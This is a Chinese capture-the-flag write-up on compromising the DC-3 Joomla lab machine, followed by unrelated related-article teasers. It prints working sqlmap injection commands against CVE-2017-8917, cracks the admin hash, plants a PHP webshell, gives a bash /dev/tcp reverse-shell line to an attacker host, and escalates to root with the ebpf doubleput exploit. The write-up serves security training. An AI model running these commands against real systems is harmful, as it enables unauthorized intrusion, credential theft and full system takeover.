小H靶场笔记:DC-3

DC-3

January 3, 2024 4:11 PM
Tags:Joomla
owner:只惠摸鱼

信息收集

  • 探测靶机ip: 192.168.199.133

    在这里插入图片描述

  • nmap 扫描端口、 系统版本 漏洞

    在这里插入图片描述

    • 发现只有80端口开发, 且有cve-2017-8917漏洞存在
    • 是Joomla的SQL注入漏洞 Joomla版本为3.7.0
  • 打开页面看一下发现有登录页面,可以尝试弱口令,sql注入 或 爆破(页面有提示。只有一个flag,且为root权限才能看到)

    在这里插入图片描述

    • 尝试弱口令无果

漏洞利用

  • 使用kali中searchsploit 搜索cve-2017-8917 即搜索joomla 3.7.0的漏洞

在这里插入图片描述

  • 查看内容
    • searchsploit -x php/webapps/42033.txt

      在这里插入图片描述

    • 发现可以直接使用sqlmap 爆数据库

SQLmap爆数据

  • 爆数据库(默认配置选项)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
      在这里插入图片描述

    • 得到数据库joomladb

  • 爆数据库表
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables --batch -p list[fullordering]

      • —batch是为了使其默认使用默认配置选项

      在这里插入图片描述

    • 得到表#__users

  • 爆表字段名(不能使用默认,需要手动y一下)
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]

      在这里插入图片描述

    • 只需查字段username 和 password中的值就可以了

  • 爆数据
    • sqlmap -u “http://192.168.199.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “username,password” --dump -p list[fullordering]

      在这里插入图片描述

    • 拿到admin账号 和一个 hash加密的密码

john解密

  • 密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu,放入txt文档

    在这里插入图片描述

    • 使用john进行解密
      在这里插入图片描述

    • 得到管理员账户密码

  • 发现还没有扫过目录,扫一下,看看是不是有管理员登录端(80端口只有用户端)

    • dirb http://192.168.199.133
      在这里插入图片描述

    • 发现有管理员页面

      在这里插入图片描述

    • 使用刚才得到的管理员账号密码登录,进入后端管理页面

      在这里插入图片描述

    • 寻找是否有能上传文件的地方,尝试了一些,都不太行,最后找到了一个可以直接写php代码的页面。

      在这里插入图片描述

    • 新增一个php文件类型,写入一句话木马
      在这里插入图片描述

    • 发现上方有提示的路径,尝试直接访问一下

      在这里插入图片描述

    • 发现不通, 百度了joomla的文件路径
      在这里插入图片描述

    • 发现一个熟悉的单词, 尝试用这个试一下(没报错,有戏)
      在这里插入图片描述

      • 继续尝试目录或文件,发现没报错。

        在这里插入图片描述

      • 尝试一下phpinfo(),成功!

      在这里插入图片描述

  • 使用蚁剑直接连接
    在这里插入图片描述

    • 成功连接

      在这里插入图片描述

    • 打开命令端口,发现不是root 也不是管理员权限

    在这里插入图片描述

提权

  • 查看系统内核版本

    在这里插入图片描述

  • 直接使用searchsploit Ubuntu 16.04查询相关漏洞,对比内核版本和漏洞类型,使用39772

    在这里插入图片描述

  • 查看漏洞内容,最上面的连接可以直接拉到浏览器查看详细信息(个人认为比较方便)

    • searchsploit -x linux/local/39772.txt

      在这里插入图片描述

  • 根据漏洞信息,和下方提供的漏洞下载链接下载到kali,通过蚁剑上传到后台解压exploit(这里是我运行过一次)

    在这里插入图片描述

  • 将shell反弹给本地

    • 本地监听1234端口

      在这里插入图片描述

    • 被控端运行bash -c 'bash -i >& /dev/tcp/192.168.199.129/1234 0>&1’

    • 本地得到shell

      在这里插入图片描述

  • 进入到ebpf_mapfd_doubleput_exploit运行./compile.sh会生成doubleput

  • 然后再运行./doubleput等待数秒,得到root权限

    在这里插入图片描述

  • 生成交互性shell

    • python3 -c 'import pty; pty.spawn(“/bin/bash”)’

      在这里插入图片描述

  • 进入/root 查询文件,找到flag。
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/289397.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Java】接口和抽象类有什么共同点和区别?

个人简介:Java领域新星创作者;阿里云技术博主、星级博主、专家博主;正在Java学习的路上摸爬滚打,记录学习的过程~ 个人主页:.29.的博客 学习社区:进去逛一逛~ 【Java】接口和抽象类有什么共同点和区别&…

李沐机器学习系列3---深度学习计算

1 层和块 1.1 定义块 用class表示层,并只需要实现构造函数和前向传播函数 class MLP(nn.Module):# 用模型参数声明层。这里,我们声明两个全连接的层def __init__(self):# 调用MLP的父类Module的构造函数来执行必要的初始化。# 这样,在类实…

流媒体学习之路(WebRTC)——GCC分析(4)

流媒体学习之路(WebRTC)——GCC分析(4) —— 我正在的github给大家开发一个用于做实验的项目 —— github.com/qw225967/Bifrost目标:可以让大家熟悉各类Qos能力、带宽估计能力,提供每个环节关键参数调节接口并实现一个json全配置…

代码审查那些事

代码审查(code review)是指对源代码进行系统化地审查,是软件开发中的最佳实践之一,代码合并之前必须审查通过才行,可及时发现隐藏问题,提高代码质量。 1 为什么要代码审查 代码审查环节,或者流于形式,或者…

依赖注入实现原理

依赖注入实现原理 一、Autowire 流程图: Autowire的后置处理器类是AutowiredAnnotationBeanPostProcessor,在启动时会执行这里面的方法 步骤一:寻找注入点 在创建一个Bean的过程中,Spring会利用AutowiredAnnotationBeanPostPro…

Go Lang Fiber介绍

利用GoLang Fiber进行高性能Web开发 在不断发展的Web开发世界中,选择合适的框架至关重要。速度、简洁性和强大的功能集是每个开发者都追求的品质。在使用Go构建Web应用时,“Fiber”作为一个强大且轻量级的框架在众多选择中脱颖而出。在这份全面的指南中…

Contextcapture(iTwin capture)倾斜建模教程

Contextcapture(iTwin capture)倾斜建模教程 前言步骤1.1 准备数据1.2 新建项目1.3 新建Block1.4 空三 Submit Aerotriangulation1.5 查看空三结果1.6 提交三维重建1.6.1 编辑重建(Reconstruction)的空间框架(spatial …

谷歌Gemini模型,碾压GPT-4!

谷歌Gemini 1.0革新,推出Gemini Ultra、Gemini Pro和Gemini Nano模型。Gemini Ultra强大但慢,Gemini Pro通用,Gemini Nano高效。Gemini模型在多领域与ChatGPT竞争,尤其Gemini Pro已应用于Bard。Gemini模型预计将在2024年通过Bard …

【docker】如何编写dockerfile文件,构建docker镜像

如何编写dockerfile文件,构建docker镜像 一、docker 镜像与 dockerfile1.1 什么是Docker镜像1.2 Docker 镜像的结构 二、dockerfile 中常用的构建指令三、dockerfile 内容示例四、构建 docker 镜像 一、docker 镜像与 dockerfile 1.1 什么是Docker镜像 Docker镜像…

Intel SGX -- The Life Cycle of an SGX Enclave

文章目录 前言一、The Life Cycle of an SGX Enclave1.1 Creation1.2 Loading1.3 Initialization1.4 Teardown 二、The Life Cycle of an SGX Thread2.1 Synchronous Enclave Entry2.2 Synchronous Enclave Exit2.3 Asynchronous Enclave Exit (AEX)2.4 Recovering from an Asy…

solidity案例详解(七)复杂众筹合约

自己原创智能合约,有作业需求可加下面的图片中的裙 1、在 Remix 中,以 Account1 完成“众筹项目”合约的编译和部署。(显示合约、函数、状态变量、结构体、事件的命名) 2、在 Remix 中,以 Account2 完成“参与众筹”合…

Python数据分析之pandas的SQL风格

一、select选择 SELECT username, password, secret, login_ip FROM tz_admin LIMIT 5; data[[username, password, secret, login_ip]].head(5) #在SQL中,选择是使用逗号分隔的列(或选择所有列)来完成的 #Pandas中,列的选择是通过传递列名到DataFrame:…

长见识!!!Java中除了消息队列之外,竟然还能这样实现异步任务

今年IT寒冬,大厂都裁员或者准备裁员,作为开猿节流主要目标之一,我们更应该时刻保持竞争力。为了抱团取暖,林老师开通了《知识星球》,并邀请我阿里、快手、腾讯等的朋友加入,分享八股文、项目经验、管理经验…

鸿蒙HarmonyOs学习:如何添页面和路由

1.目录结构 重点我们开发中需要用到地方我都做了简单的说明。 2.我们看看入口页面是如何配置的 在主配置文件module.json5中配置Ability路径已经应用图标和应用名称等信息。 3.配置页面路由 这个路由是由哪儿配置的呢? 想必看完这些,你应该知道一个鸿…

mybatis自动生成代码

以下为真实案例:mybatis自动生成代码 首选准备环境: 开发工具:idea(版本任意) 开发环境:jdk1.8、tomcat8.5、maven3.5 数据库:mysql5.7 数据库驱动:mysql-connector-5.1 方法一:idea搭建环…

MySQL之表的记录操作

前言 存数据不是目的,目的是能够将存起来的数据取出来或者查出来,并且能够对数据进行增删改查操作,本文将详细介绍表中记录的增删改查操作。对记录的操作属于DML数据库操作语言,可以通过SQL实现对数据的操作,包括实现向…

remote: The project you were looking for could not be found异常

今天提交代码的时候突然无法提交了,最后重新编辑电脑的凭据解决的。

nuxt3 env文件、全局变量处理

有两种方向 通过配置nuxt.config.ts Nuxt提供的钩子函数,实现全局变量的获取 runtimeconfig env文件往runtimeconfig放入内容 useAppConfig 通过env文件配置来获取服务端全局变量,客户端通过vite.define实现 nuxt.config.ts Nuxt钩子 1. runtim…

linux(mysql下载以及操作)

下载mysql 查看镜像 docker images 下载MySQL镜像 mysql/mysql-server:8.0 创建文件夹,创建配置文件和放数据文件 mkdir -p /data/mysql/{conf,,data} 创建配置文件 my.cnf 写入配置文件my.cnf的代码 [client] default-character-setutf8[mysql] de…

CMake入门教程【核心篇】安装(install)

😈「CSDN主页」:传送门 😈「Bilibil首页」:传送门 😈「本文的内容」:CMake入门教程 😈「动动你的小手」:点赞👍收藏⭐️评论📝 文章目录 1. 概述2. 使用方法2…